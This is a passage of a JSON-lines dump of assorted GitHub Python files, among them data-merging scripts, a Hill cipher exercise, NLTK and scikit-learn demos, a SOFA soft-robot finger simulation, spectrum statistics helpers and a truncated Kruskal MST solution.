df_linpack_cpu = pd.read_csv(\"../data/linpack-cpu.csv\")\n# df_linpack = pd.merge(df_linpack_mem, df_linpack_cpu, on=['benchmark', 'cpu_lim', 'mem_lim', 'data_size', 'run_no'])\n# df_linpack.to_csv(\"../data/linpack.csv\", index=False)\n\n# df_encrypt_mem = pd.read_csv(\"../data/encrypt-data.csv\")\n# df_encrypt_cpu = pd.read_csv(\"../data/encrypt-cpu.csv\")\n# df_encrypt = pd.merge(df_encrypt_mem, df_encrypt_cpu, on=['benchmark', 'cpu_lim', 'mem_lim', 'data_size', 'run_no'])\n# df_encrypt.to_csv(\"../data/encrypt.csv\", index=False)\n\ndf_image_process_mem = pd.read_csv(\"../data/image-process-data.csv\")\ndf_image_process_cpu = pd.read_csv(\"../data/image-process-cpu.csv\")\ndf_image_process = pd.merge(df_image_process_mem, df_image_process_cpu, on=['benchmark', 'cpu_lim', 'mem_lim', 'data_size', 'run_no'])\nprint(df_image_process)\ndf_image_process.to_csv(\"../data/image-process.csv\", index=False)","repo_name":"neerajas-group/openwhisk-plot-data","sub_path":"plot/combine-with-cpu.py","file_name":"combine-with-cpu.py","file_ext":"py","file_size_in_byte":1271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42015168182","text":"def one_away(first: str, second: str) -> bool:\n size1, size2 = len(first), len(second)\n if abs(size1 - size2) > 1:\n return False\n if size1 == size2:\n counter = 0\n for i in range(size1):\n if first[i] != second[i]:\n counter += 1\n if counter > 1:\n return False\n else:\n if size2 > size1:\n first, second = second, first\n size1, size2 = size2, size1\n i = j = 0\n counter = 0\n while i < size1 and j < size2:\n if first[i] != second[j]:\n i += 1\n counter += 1\n i += 1\n j += 1\n if (counter == 0 and i == j) or (counter == 1 and i - j == 1):\n return True\n else:\n return False\n return True\n\n\nif __name__ == '__main__':\n firsts = [\"a\", \"\", \"abc\", \"abcd\", \"abc\", \"abcd\", \"abccc\"]\n seconds = [\"\", \"\", \"abc\", \"abc\", \"abcd\", \"abcc\", \"abcde\"]\n for i in range(len(firsts)):\n print(one_away(firsts[i], seconds[i]))\n","repo_name":"BroYAN9993/CCC","sub_path":"Chapter_1/1_5.py","file_name":"1_5.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"30011110362","text":"#!/usr/bin/env python3\n# -X- coding: utf-8 -*-\n\nimport numpy as np\nimport random\nfrom sympy import Matrix\n\ndiccionario_encryt = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'E': 4, 'F': 5, 'G': 6, 'H': 7, 'I': 8, 'J': 9, 'K': 10, 'L': 11,\n 'M': 12, 'N': 13, 'O': 14, 'P': 15, 'Q': 16, 'R': 17, 'S': 18, 'T': 19, 'U': 20, 'V': 21, 'W': 22, 'X': 23, 'Y': 24, 'Z': 25,\n '0':26, '1': 27, '2':28, '3':29, '4':30, '5':31, '6':32, '7':33, '8':34, '9':35, '.': 36, ',': 37, ':': 38, '?': 39 , ' ': 40}\n\ndiccionario_decrypt = {'0' : 'A', '1': 'B', '2': 'C', '3': 'D', '4': 'E', '5': 'F', '6': 'G', '7': 'H', '8': 'I', '9': 'J', '10': 'K', '11': 'L', '12': 'M',\n '13': 'N', '14': 'O', '15': 'P', '16': 'Q', '17': 'R', '18': 'S', '19': 'T', '20': 'U', '21': 'V', '22': 'W', '23': 'X', '24': 'Y', '25': 'Z', '26': '0',\n '27': '1', '28': '2', '29': '3', '30': '4', '31': '5', '32' : '6', '33' : '7', '34' : '8', '35' : '9', '36' : '.', '37' : ',', '38' : ':', '39' : '?', '40' : ' '}\n\ndef matriz_llave(size):\n \"\"\" Generar matriz llave\n\n Args:\n size ( int ): Dimension de la matriz cuadrada\n\n Returns:\n array : Retorna una matriz aleatoria\n \"\"\"\n matrix = []\n\n L = []\n\n # Relleno una lista con tantos valores aleatorios como elementos a rellenar en la matriz determinada por size (size * size)\n\n for x in range(size * size):\n L.append(random.randrange(40))\n\n # Se crea la matrix clave con los valores generados, de tamaño size * size\n\n matrix = np.array(L).reshape(size, size)\n\n return matrix\n\n\ndef encriptar(message, key):\n \"\"\" Generar encripcion\n\n Args:\n message ( str ): Recibe frase a encriptar\n key ( array ): Recibe matriz llave\n \n\n Returns:\n str : Retorna cadena string encriptada\n \"\"\"\n ciphertext = ''\n\n # Variables\n\n matrix_mensaje = []\n list_temp = []\n cifrado_final = ''\n ciphertext_temp = ''\n cont = 0\n\n # Convertir el mensaje a mayusculas\n\n message = message.upper()\n\n # Si el tamaño del mensaje es menor o igual al tamaño de la clave\n\n if len(message) <= len(key):\n\n # Convertir el tamaño del mensaje al tamaño de la clave, si no es igual, se añaden 'X' hasta que sean iguales los tamaños.\n\n while len(message) < len(key):\n message = message + 'X'\n\n # Crear la matriz para el mensaje\n\n for i in range(0, len(message)):\n matrix_mensaje.append(diccionario_encryt[message[i]])\n\n # Se crea la matriz\n\n matrix_mensaje = np.array(matrix_mensaje)\n\n # Se multiplica la matriz clave por la de mensaje\n\n cifrado = np.matmul(key, matrix_mensaje)\n\n # Se obtiene el modulo sobre el diccionario de cada celda\n\n cifrado = cifrado % 41\n\n # Se codifica de valores numericos a los del diccionario, añadiendo a ciphertext el valor en el diccionario pasandole como indice la i posicion de la variable cifrado\n\n for i in range(0, len(cifrado)):\n ciphertext += diccionario_decrypt[str(cifrado[i])]\n else:\n\n # Si el tamaño del mensaje es menor o igual al tamaño de la clave\n\n # Si al dividir en trozos del tamaño de la clave, existe algun trozo que tiene menos caracteres que la long. de la clave se añaden tantas 'X' como falten\n\n while len(message) % len(key) != 0:\n message = message + 'X'\n \n # Se divide el mensaje en subsstrings de tamaño len(key) y se alamcenan como valores de un array\n\n matrix_mensaje = [message[i:i + len(key)] for i in range(0,\n len(message), len(key))]\n \n # Para cada valor del array (grupo de caracteres de la longitud de la clave)\n\n for bloque in matrix_mensaje:\n\n # Crear la matriz para el bloque\n\n for i in range(0, len(bloque)):\n list_temp.append(diccionario_encryt[bloque[i]])\n\n # Se crea la matriz de ese bloque\n\n matrix_encrypt = np.array(list_temp)\n\n # Se multiplica la matriz clave por la del bloque\n\n cifrado = np.matmul(key, matrix_encrypt)\n\n # Se obtiene el modulo sobre el diccionario de cada celda\n\n cifrado = cifrado % 41\n\n # Se codifica de valores numericos a los del diccionario, añadiendo a ciphertext el valor en el diccionario pasandole como indice la i posicion de la variable cifrado\n\n for i in range(0, len(cifrado)):\n ciphertext_temp += diccionario_decrypt[str(cifrado[i])]\n\n # Se inicializan las variables para el nuevo bloque\n\n matrix_encrypt = []\n list_temp = []\n\n # Se añade el mensaje encriptado a la variable que contiene el mensaje encriptado completo\n\n ciphertext = ciphertext_temp\n\n # --------------------------------\n\n return ciphertext\n\n\ndef desencriptar(message, key):\n \"\"\" Generar desencriptacion\n\n Args:\n message ( str ): Recibe frase encriptada\n key ( array ): Recibe matriz llave\n \n\n Returns:\n str : Retorna cadena string desencriptada\n \"\"\"\n plaintext = ''\n\n matrix_mensaje = []\n plaintext_temp = ''\n list_temp = []\n matrix_inversa = []\n\n matrix_mensaje = [message[i:i + len(key)] for i in range(0,\n len(message), len(key))]\n\n # Se calcula la matriz inversa aplicando el modulo 41\n\n matrix_inversa = Matrix(key).inv_mod(41)\n\n # Se transforma en una matriz\n\n matrix_inversa = np.array(matrix_inversa)\n\n # Se pasan los elementos a float\n\n matrix_inversa = matrix_inversa.astype(float)\n\n # Para cada bloque\n\n for bloque in matrix_mensaje:\n\n # Se encripta el mensaje encriptado\n\n for i in range(0, len(bloque)):\n list_temp.append(diccionario_encryt[bloque[i]])\n\n # Se convierte a matriz\n\n matrix_encrypt = np.array(list_temp)\n\n # Se multiplica la matriz inversa por el bloque\n\n cifrado = np.matmul(matrix_inversa, matrix_encrypt)\n\n # Se le aplica a cada elemento el modulo 41\n\n cifrado = np.remainder(cifrado, 41).flatten()\n\n # Se desencripta el mensaje\n\n for i in range(0, len(cifrado)):\n plaintext_temp += diccionario_decrypt[str(int(cifrado[i]))]\n\n matrix_encrypt = []\n list_temp = []\n plaintext = plaintext_temp\n\n # Se eliminan las X procedentes de su adicion en la encriptacion para tener bloques del tamaño de la clave\n\n while plaintext[-1] == 'X':\n plaintext = plaintext.rstrip(plaintext[-1])\n\n return plaintext","repo_name":"romariosilvag/Criptografia-con-matrices-Cifrado-de-Hill-Python","sub_path":"cifradoHill.py","file_name":"cifradoHill.py","file_ext":"py","file_size_in_byte":6576,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"4671488039","text":"# Examples\n\nnumbers = [1,2,3]\nnew_numbers = [n+1 for n in numbers]\nprint(new_numbers)\n\nletters = \"Gabriel\"\nnew_list = [letter for letter in letters]\nprint(new_list)\n\nnew_list = [n*2 for n in range(1,5)]\nprint(new_list)\n\nnames = ['Gabriel', 'Gilson', 'Thiago', 'Marília', 'Maiana', 'Pedro']\nm_names = [n.upper() for n in names if n.startswith('M') == True]\nprint(m_names)\n\n # 26.1\n\nnumbers = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55]\n\nsquared_numbers = [n**2 for n in numbers]\n\nprint(squared_numbers)\n\n # 26.2\n\nnumbers = [1, 1, 2, 3, 5, 8, 13, 21, 34, 55]\n\nresult = [n for n in numbers if n % 2 == 0]\n\nprint(result)\n\n # 26.3\n\n# ---------------------------------------------------------------------\n# with open(\"day26-100daysofcode/file1.txt\") as file_1:\n# numbers_file1 = [n.strip() for n in file_1.readlines()]\n# with open(\"day26-100daysofcode/file2.txt\") as file_2:\n# numbers_file2 = [n.strip() for n in file_2.readlines()]\n# ---------------------------------------------------------------------\nwith open(\"day26/file1.txt\") as file_1:\n numbers_file1 = [n for n in file_1.readlines()]\nwith open(\"day26/file2.txt\") as file_2:\n numbers_file2 = [n for n in file_2.readlines()]\n\nresult = [int(number) for number in numbers_file1 if number in numbers_file2]\nprint(result)","repo_name":"gabrielamante/100-Days-of-Code---The-Complete-Python-Pro-Bootcamp-for-2022","sub_path":"2. Intermediate Lessons (15-58)/day26/main1.py","file_name":"main1.py","file_ext":"py","file_size_in_byte":1283,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"73271467092","text":"import nltk\nfrom nltk import PunktSentenceTokenizer\n\n\"\"\"\n# Chinking | removal of things | you can chunk everything and just chink (except) stuff\n\"\"\"\n\n\ndef process_content(content):\n try:\n for i in content:\n words = nltk.word_tokenize(i)\n tagged = nltk.pos_tag(words)\n\n chunkGram = r\"\"\"Chunk: {<.*>+}\n }+{\"\"\"\n\n chunk_parser = nltk.RegexpParser(chunkGram)\n chunked = chunk_parser.parse(tagged)\n\n chunked.draw()\n\n print(chunked)\n\n except Exception as e:\n print(str(e))\n\n\ndef main():\n print(\"CHINKING\")\n train_test = nltk.corpus.state_union.raw('2005-GWBush.txt')\n test_text = nltk.corpus.state_union.raw('2006-GWBush.txt')\n\n # Train tokenizer on previous data from 2005 and after we tokenize from 2006\n tokenizer = PunktSentenceTokenizer(train_test)\n\n tokenized_speech = tokenizer.tokenize(test_text)\n\n process_content(tokenized_speech)\n","repo_name":"denischiciudean/nltk-study","sub_path":"chinking.py","file_name":"chinking.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"6552739471","text":"import Sofa\nfrom elastic_material_object import ElasticMaterialObject\nfrom stlib3.physics.mixedmaterial import Rigidify\nfrom stlib3.physics.collision import CollisionMesh\nfrom fixing_box import FixingBox\nfrom actuated_arm import ActuatedArm\nfrom stlib3.components import addOrientedBoxRoi\n\nfrom splib3.constants import Key\nimport math\n\n\nclass ActuatedFinger(Sofa.Prefab):\n prefabParameters = [\n {\"name\": \"rotation\", \"type\": \"Vec3d\", \"help\": \"Rotation in base frame\", \"default\": [0.0, 0.0, 0.0]},\n {\"name\": \"translation\", \"type\": \"Vec3d\", \"help\": \"Translation in base frame\",\n \"default\": [0.0, 0.0, 0.0]}\n ]\n\n def __init__(self, *args, **kwargs):\n Sofa.Prefab.__init__(self, *args, **kwargs)\n\n # Construct the actuated finger\n def init(self):\n # Load the finger mesh and create an elastic body from it\n self.elasticMaterial = self.elasticBody()\n self.ElasticBody.init()\n\n # Load a servo motor\n arm = self.addChild(ActuatedArm(name=\"ActuatedArm\", rotation=[90.0, 0, 90.0], translation=[0, 0, 0]))\n arm.ServoMotor.Articulation.dofs.position.value = [[arm.angleIn.value]] # Initialize the angle\n arm.ServoMotor.minAngle.value = -2.02\n arm.ServoMotor.maxAngle.value = -0.025\n\n # Define a region of interest to rigidify the nodes of the finger mesh clamped in the servo arm\n box = addOrientedBoxRoi(self,\n name=\"boxROIclamped\",\n position=[list(i) for i in self.elasticMaterial.dofs.rest_position.value],\n translation=[-25e-3, 0.0, 0.0],\n eulerRotation=[0.0, 0.0, 90.0],\n scale=[45e-3, 15e-3, 30e-3])\n box.drawBoxes = True\n box.init()\n\n # Get the indices of the finger mesh in the ROI, and the ROI frame\n indices = [[ind for ind in box.indices.value]]\n frame = [[0, 0, 0, 0, 0, 0, 1]]\n\n # Rigidify the finger nodes in the ROI. Create a Rigidified object and set up a spring force\n # field to constrain the nodes to stay in the rest shape\n rigidifiedStruct = Rigidify(self, self.elasticMaterial, groupIndices=indices, frames=frame,\n name=\"RigidifiedStructure\")\n\n servoArm = arm.ServoMotor.Articulation.ServoWheel.ServoArm\n servoArm.addChild(rigidifiedStruct.RigidParts)\n servoArm.RigidParts.addObject('RigidMapping', index=0, input=servoArm.dofs.getLinkPath())\n\n # Add a fixing box to constrain the other part of the finger\n FixingBox(self, self.elasticMaterial, translation=[10.0e-3, 0.0, 14.0e-3], scale=[15e-3, 25e-3, 6e-3])\n self.FixingBox.BoxROI.drawBoxes = True\n\n # Add collision models, to compute collision between the finger and the object,\n # and the inner surfaces of the left and right walls\n self.addCollision()\n\n def elasticBody(self):\n # Create a body as a child of the parent (the actuated finger)\n body = self.addChild(\"ElasticBody\")\n\n # Create an ElasticMaterialObject, which import a mesh, assign it dofs and mechanical properties\n # All the properties are expressed in SI units. The dimensions in the generated mesh are in meter,\n # the young modulus in Pascal ...\n # The manufacturer of the Filaflex 70A filament indicates a young modulus of 32MPa. The Poisson ratio is fixed\n # at 0.45 like standard elastomers (silicone, rubber)\n # The rotation and translation are adjusted so that the mesh is correctly positioned wrt the servo motor\n e = body.addChild(ElasticMaterialObject(\n volumeMeshFileName=\"Data/finger.msh\",\n topoMesh=\"tetrahedron\",\n scale=[1, 1, 1],\n totalMass=0.015,\n youngModulus=32e6,\n poissonRatio=0.45,\n rotation=[90.0, 0.0, 0.0],\n translation=[-30.0e-3, 9.0e-3, 18.0e-3]))\n\n # Add now a visual model to the flexible part\n visual = body.addChild(\"VisualFinger\")\n # Load the STL file for the visualization, the rotation and translation must\n # fit the one for the ElasticMaterialObject\n visual.addObject(\"MeshSTLLoader\", name=\"visualLoader\", filename=\"Data/finger.stl\", rotation=[90.0, 0.0, 0.0],\n translation=[-30.0e-3, 9.0e-3, 18.0e-3])\n visual.addObject(\"OglModel\", name=\"renderer\", src=\"@visualLoader\", color=[1.0, 1.0, 1.0, 0.5])\n\n # Link the dofs of the 3D mesh and the visual model\n visual.addObject(\"BarycentricMapping\", input=e.dofs.getLinkPath(), output=visual.renderer.getLinkPath())\n\n return e\n\n def addCollision(self):\n # Add a collision model\n # collision = CollisionMesh(self.elasticMaterial, name='CollisionMesh', surfaceMeshFileName=\"Data/finger.stl\",\n # \t\t\t\t\t\t rotation=[90.0, 0.0, 0.0], translation=[-30.0e-3, 9.0e-3, 18.0e-3],\n # \t\t\t\t\t\t collisionGroup=[1, 2, 3])\n CollisionMesh(self.elasticMaterial, name='SelfCollisionMesh1',\n surfaceMeshFileName=\"Data/finger_surface_contact_in1.stl\",\n rotation=[90.0, 0.0, 0.0], translation=[-30.0e-3, 9.0e-3, 18.0e-3])\n\n CollisionMesh(self.elasticMaterial, name='SelfCollisionMesh2',\n surfaceMeshFileName=\"Data/finger_surface_contact_in2.stl\",\n rotation=[90.0, 0.0, 0.0], translation=[-30.0e-3, 9.0e-3, 18.0e-3])\n\n CollisionMesh(self.elasticMaterial, name='SelfCollisionMesh3',\n surfaceMeshFileName=\"Data/finger_surface_contact_out.stl\",\n rotation=[90.0, 0.0, 0.0], translation=[-30.0e-3, 9.0e-3, 18.0e-3])\n\n\nclass FingerController(Sofa.Core.Controller):\n\n def __init__(self, *args, **kwargs):\n # These are needed (and the normal way to override from a python class)\n Sofa.Core.Controller.__init__(self, *args, **kwargs)\n\n self.node = kwargs[\"node\"]\n self.duration = 3.0\n self.time = 0.0\n self.objectDof = kwargs[\"objectDof\"]\n self.actuator = kwargs[\"actuator\"]\n self.forceContact = 0.0\n self.numContact = 0\n\n # Computation of the contact force applied on the object to grasp\n self.node.getRoot().GenericConstraintSolver.computeConstraintForces.value = True\n\n def onKeypressedEvent(self, event):\n key = event['key']\n if key == Key.P:\n print(\"Number of contact points: \" + str(self.numContact))\n print(\"Norm of the contact force: \" + str(self.forceContact))\n\n def onAnimateBeginEvent(self, eventType):\n\n # Update of the servomotor angular displacement\n # Rotation of pi/6 over self.duration (5s initially)\n angularStep = math.pi / 6\n angleInit = 0\n self.time += self.node.dt.value\n if self.time < self.duration:\n self.actuator.ServoMotor.angleIn = angleInit + angularStep * self.time / self.duration\n else:\n self.actuator.ServoMotor.angleIn = angleInit + angularStep\n\n # Computation of the contact force applied on the object to grasp\n contactForces = self.node.getRoot().GenericConstraintSolver.constraintForces.value\n\n # print the number of nodes in contact and the norm of the largest contact force\n self.numContact = 0\n self.forceContact = 0\n for contact in contactForces[0:-1:3]:\n if contact > 0:\n self.numContact += 1\n self.forceContact += contact\n self.forceContact /= self.node.dt.value\n\n\ndef createScene(rootNode):\n from stlib3.scene import Scene\n\n # Define the main architecture of the scene, with a node Modelling, Setting and Simulation\n # Define also the integration method as Euler implicit and the solver as Conjugate Gradient)\n scene = Scene(rootNode, gravity=[0.0, 0.0, -9.81],\n iterative=False)\n scene.addMainHeader()\n\n # Setting the time step\n rootNode.dt = 0.01\n\n # Define the default view of the scene on SOFA\n scene.addObject('DefaultVisualManagerLoop')\n scene.VisualStyle.displayFlags = [\"showInteractionForceFields\", \"showForceFields\",\n \"showCollisionModels\"]\n # Add a grid on the scene with squares 10mm/10mm\n rootNode.addObject(\"VisualGrid\", nbSubdiv=100, size=1)\n\n # Set up the pipeline for the collision computation\n scene.addObject('FreeMotionAnimationLoop')\n scene.addObject('GenericConstraintSolver', maxIterations=50, tolerance=1e-5)\n scene.Simulation.addObject('GenericConstraintCorrection')\n scene.Settings.mouseButton.stiffness = 10\n\n # Create one actuated finger\n actuatedFinger = ActuatedFinger()\n scene.Modelling.addChild(actuatedFinger)\n\n # Add the simulated elements to the Simulation node\n scene.Simulation.addChild(actuatedFinger.RigidifiedStructure.DeformableParts)\n scene.Simulation.addChild(actuatedFinger.ActuatedArm)\n actuatedFinger.ActuatedArm.ServoMotor.Articulation.ServoWheel.ServoArm.dofs.showObject = True\n actuatedFinger.ActuatedArm.ServoMotor.Articulation.ServoWheel.ServoArm.dofs.showObjectScale = 0.01\n actuatedFinger.ActuatedArm.ServoMotor.Articulation.ServoWheel.ServoArm.RigidParts.dofs.showObject = True\n actuatedFinger.ActuatedArm.ServoMotor.Articulation.ServoWheel.ServoArm.RigidParts.dofs.showObjectScale = 0.02","repo_name":"SofaDefrost/SoftRobots","sub_path":"examples/tutorials/SoftFingerDesign/details/actuated_finger.py","file_name":"actuated_finger.py","file_ext":"py","file_size_in_byte":9501,"program_lang":"python","lang":"en","doc_type":"code","stars":88,"dataset":"github-code","pt":"67"} +{"seq_id":"2213185810","text":"import pandas as pd\n\nfrom constant import indices_csv_path, commodities_csv_path, stocks_csv_path\n\nindices_df = pd.read_csv(indices_csv_path)\ncommodities_df = pd.read_csv(commodities_csv_path)\nstocks_df = pd.read_csv(stocks_csv_path)\n\ndef contains_lower_case(s):\n assert isinstance(s, str)\n for c in s:\n if c.islower():\n return True\n return False\n\ndef get_symbol_row(symbol, data_type='indicies'):\n if data_type == 'indicies':\n cur_df = indices_df\n elif data_type == 'stocks':\n cur_df = stocks_df\n else:\n cur_df = indices_df\n\n search_key = 'symbol'\n\n row = cur_df[cur_df[search_key] == symbol]\n if row.empty:\n if contains_lower_case(symbol):\n row = cur_df[cur_df[search_key] == \"\".join([c.upper() for c in symbol])]\n else:\n row = cur_df[cur_df[search_key] == \"\".join([c.lower() for c in symbol])]\n return row\n\ndef get_tag_row(tag, data_type='commodities'):\n if data_type == 'commodities':\n cur_df = commodities_df\n else:\n cur_df = commodities_df\n\n search_key = 'tag'\n row = cur_df[cur_df[search_key] == tag]\n if row.empty:\n if contains_lower_case(tag):\n row = cur_df[cur_df[search_key] == \"\".join([c.upper() for c in tag])]\n else:\n row = cur_df[cur_df[search_key] == \"\".join([c.lower() for c in tag])]\n return row\n","repo_name":"XavierChB/IScrape","sub_path":"symbol_resolve.py","file_name":"symbol_resolve.py","file_ext":"py","file_size_in_byte":1387,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"12100485183","text":"import pandas as pd\nfrom sklearn.datasets import load_iris\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.model_selection import cross_val_score\nimport matplotlib.pyplot as plt\n\n# Load data and store it into pandas DataFrame objects\niris = load_iris()\n\nx = pd.DataFrame(iris.data[:, :], columns=iris.feature_names[:])\ny = pd.DataFrame(iris.target, columns=[\"Species\"])\nyAsArray = y[:].to_numpy().ravel()\n\nplotArr = []\ni = 1\nwhile i < 31:\n kNeighClass = KNeighborsClassifier(n_neighbors=i)\n entDecisionTreeClass = DecisionTreeClassifier(criterion=\"entropy\")\n giniDecisionTreeClass = DecisionTreeClassifier()\n kNeighCrossVal = cross_val_score(kNeighClass, x, yAsArray, scoring=\"accuracy\")\n entDecisionTreeCrossVal = cross_val_score(entDecisionTreeClass, x, yAsArray, scoring=\"accuracy\")\n giniDecisionTreeCrossVal = cross_val_score(entDecisionTreeClass, x, yAsArray, scoring=\"accuracy\")\n plotArr.append([\"K Nearest Neighbor\", i, kNeighCrossVal.mean()])\n plotArr.append([\"Decision Tree (Entropy)\", i, entDecisionTreeCrossVal.mean()])\n plotArr.append([\"Decision Tree (Gini)\", i, giniDecisionTreeCrossVal.mean()])\n i += 1\n\n# for the plot\nprint(plotArr)\nplotDF = pd.DataFrame(data=plotArr, columns=[\"Classifier\", \"K Value\", \"Score\"])\nplotDF.pivot(\"K Value\", \"Classifier\", \"Score\").plot(kind=\"bar\")\nplt.ylim(.9, 1.0)\nplt.show()\n\n\n","repo_name":"darkhark/KNearestNeighbor","sub_path":"Training.py","file_name":"Training.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"38023937100","text":"#!/usr/bin/python3\n\nimport math as m\nfrom datetime import datetime\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nfrom tkinter import *\nfrom pandastable import Table, TableModel\nimport pandas as pd\n\n\nimport h5_spectrum as H5\n\nSTAT_NORMAL = np.dtype([(H5.MEAN_MEMBER, np.float64),\n (H5.STANDARD_DEVIATION_MEMBER, np.float64),\n (H5.NUMBER_OF_SAMPLES_MEMBER, np.int32),\n (H5.SUM_MEMBER, np.float64),\n (H5.SUM_OF_SQUARES_MEMBER, np.float64)])\n\n# structure to store and perform online computation of basic descriptive indexes for a normally distributed variable\n# Perform online computation by adding individual elements to the object as described by:\n# Reference: @ARTICLE{Welford62noteon,\n# author = {Author(s) B. P. Welford and B. P. Welford},\n# title = {Note on a method for calculating corrected sums of squares and products},\n# journal = {Technometrics},\n# year = {1962},\n# pages = {419--420}\n# }\n# TODO: Discuss algorithm variation on https://stackoverflow.com/questions/5543651/computing-standard-deviation-in-a-stream\nclass Normal:\n\n def __init__(self):\n self.mean_value = np.NaN # mean_value = ((count*mean_value)+ X )/(count+1)\n self.std_value = np.NaN # std_value = ( n-2 / n-1 ) std_value {n-1}+{1\\over n}(X_n-\\bar X_{n-1})**2.\n self.count = 0 # count = count + 1\n self.sum = 0.0 # to reduce the computational effort and rounding error on the average computation\n self.sum_squares = 0.0 # to reduce the computational effort and reduce error on the standard deviation computation\n\n # add element to the standard normal distribution\n def add_element(self, new_element):\n # local variable to help on the computation\n old_mean = 0.0\n delta = 0.0\n\n # select appropriate update procedure according to the number of elements.\n # for better efficiency, first consider an existing vector with 2 or more samples already registered\n if self.count > 1:\n old_mean = self.mean_value\n\n self.sum = self.sum + new_element\n\n self.count += 1\n self.mean_value = self.sum / self.count\n\n self.sum_squares = self.sum_squares + ((new_element-old_mean)*(new_element-self.mean_value))\n\n # self.std_value = m.sqrt(self.sum_squares / self.count) # To be used if one wants to keep std_value updated\n else:\n # if there are 0 (negative number of elements are considered 0), set the first element\n if self.count < 1:\n self.mean_value = new_element\n self.count = 1\n self.sum = new_element\n # else, if there is one element\n else:\n self.count = 2\n self.mean_value = (self.mean_value + new_element) / self.count\n self.sum = self.sum + new_element\n delta = new_element-self.mean_value\n self.sum_squares = delta*delta\n\n # to updated std.value if automatic update is not used\n def std_update(self) -> float:\n # std_value = ( n-2 / n-1 ) std_value {n-1}+{1\\over n}(X_n-\\bar X_{n-1})².\n if self.count > 1:\n self.std_value = m.sqrt(self.sum_squares / self.count)\n\n return self.std_value\n\n # add set to the standard normal distribution. Consider that the population described on each object is not\n # https://en.wikipedia.org/wiki/Pooled_variance#Population-based_statistics\n def add_set(self, new_set):\n # TODO: handle cases were one of the sets has one or two elements only\n if self.sum_squares == np.NaN:\n self.std_update()\n\n if new_set.sum_squares == np.NaN:\n new_set.std_update()\n\n old_set = self\n \n # TODO: handle case where\n\n self.count = old_set.count + new_set.count\n self.mean_value = (old_set.sum + new_set.sum) / self.count\n self.sum = old_set.sum + new_set.sum\n\n # TODO: handle cases to compute the sum_square, allowing to further add single elements to the object\n self.sum_squares = np.NaN\n\n self.std_value = m.sqrt(((((old_set.count*old_set.std_value**2) + (new_set.count*new_set.std_value**2))*self.count)+((old_set.count*new_set.count)*((old_set.mean_value-new_set.mean_value)**2)))/(self.count**2))\n\n def np_set(self, data):\n self.mean_value = data[H5.MEAN_MEMBER]\n self.std_value = data[H5.STANDARD_DEVIATION_MEMBER]\n self.count = data[H5.NUMBER_OF_SAMPLES_MEMBER]\n self.sum = data[H5.SUM_MEMBER]\n self.sum_squares = data[H5.SUM_OF_SQUARES_MEMBER]\n\n def print(self, reference):\n print(reference+\"(\\u03BC:{}, \\u03C3:{}, #:{}, \\u03A3:{}, SS:{})\".format(self.mean_value, self.std_value, self.count, self.sum, self.sum_squares))\n\n# program log function\ndef log_message (message):\n process_timestamp = datetime.now()\n print(\"{}: \".format(process_timestamp)+message)\n\n# quick plot function for dataframe\ndef plot_dataframe(dataframe: pd.DataFrame, x_label = \"Frequency[Hz]\", y_label = \"\"):\n xy_array = dataframe.to_numpy(dtype='float32')\n x_axis = dataframe.columns.to_numpy(dtype='float64')\n y_axis = dataframe.index.to_numpy(dtype='float64')\n \n if y_axis[0] > 1000:\n y_label = \"Time [sec]\"\n else:\n if y_axis[len(y_axis)-1] < -80:\n y_label = \"Level [dBm/m²]\"\n else:\n y_label = \"Level [dB\\u03BCV/m]\"\n\n plt.pcolormesh(x_axis, y_axis, xy_array)\n plt.xlabel(x_label)\n plt.ylabel(y_label)\n plt.show()\n\n# call pandas tables to visualize the dataframe. Will halt execution\nclass table_dataframe(Frame):\n\n def __init__(self, df_data: pd.DataFrame, parent=None):\n self.parent = parent\n Frame.__init__(self)\n self.main = self.master\n self.main.geometry('600x400+200+100')\n self.main.title('Table app')\n f = Frame(self.main)\n f.pack(fill=BOTH,expand=1)\n\n if not isinstance(df_data, pd.DataFrame):\n df_data_type = type(df_data)\n if isinstance(df_data, tuple):\n df_data = pd.DataFrame(df_data).T\n\n pt = Table(f,\n dataframe=df_data,\n showtoolbar=True,\n showstatusbar=True)\n\n self.table = pt\n\n pt.show()\n self.mainloop()\n return","repo_name":"FSLobao/Spectrum-Cortex","sub_path":"cortex_lib.py","file_name":"cortex_lib.py","file_ext":"py","file_size_in_byte":6519,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20678782271","text":"# 우주신과의 교감\n\n# 첫째 줄에 우주신들의 개수 N, 이미 연결된 신들과의 통로의 개수 M이 주어진다.\n# 두 번째 줄부터 N개의 줄에는 좌표가, 그 밑으로 M개의 줄에는 이미 연결된 통로가 주어진다.\n\n# 첫째 줄에 만들어야 할 최소의 통로 길이를 출력하라.\n\nimport sys\nfrom math import sqrt\ninput=sys.stdin.readline\n\n# Union-Find를 이용하여 정점이 한 집합에 있는 지 확인\ndef find(x):\n if parent[x]==x:\n return x\n parent[x]=find(parent[x])\n return parent[x]\n\ndef union(x,y):\n x=find(x)\n y=find(y)\n\n if x!=y:\n parent[y]=x\n\ndef kruskal(g,v,c):\n\n g.sort(key=lambda x:x[0])# 간선을 가중치를 기준으로 정렬\n mst=0\n count=0\n\n for w,a,b in g:# 가중치가 작은 간선부터.\n if find(a) != find(b):\n union(a,b)\n mst+=w\n count+=1\n\n if count==v-1-c:# 트리를 이루면 종료.\n break\n\n return mst\n\nif __name__==\"__main__\":\n n,m=map(int,input().split())\n edge=[]\n parent=[i for i in range(n+1)]\n\n loc=[]\n for _ in range(n):\n x,y=map(int,input().split())\n 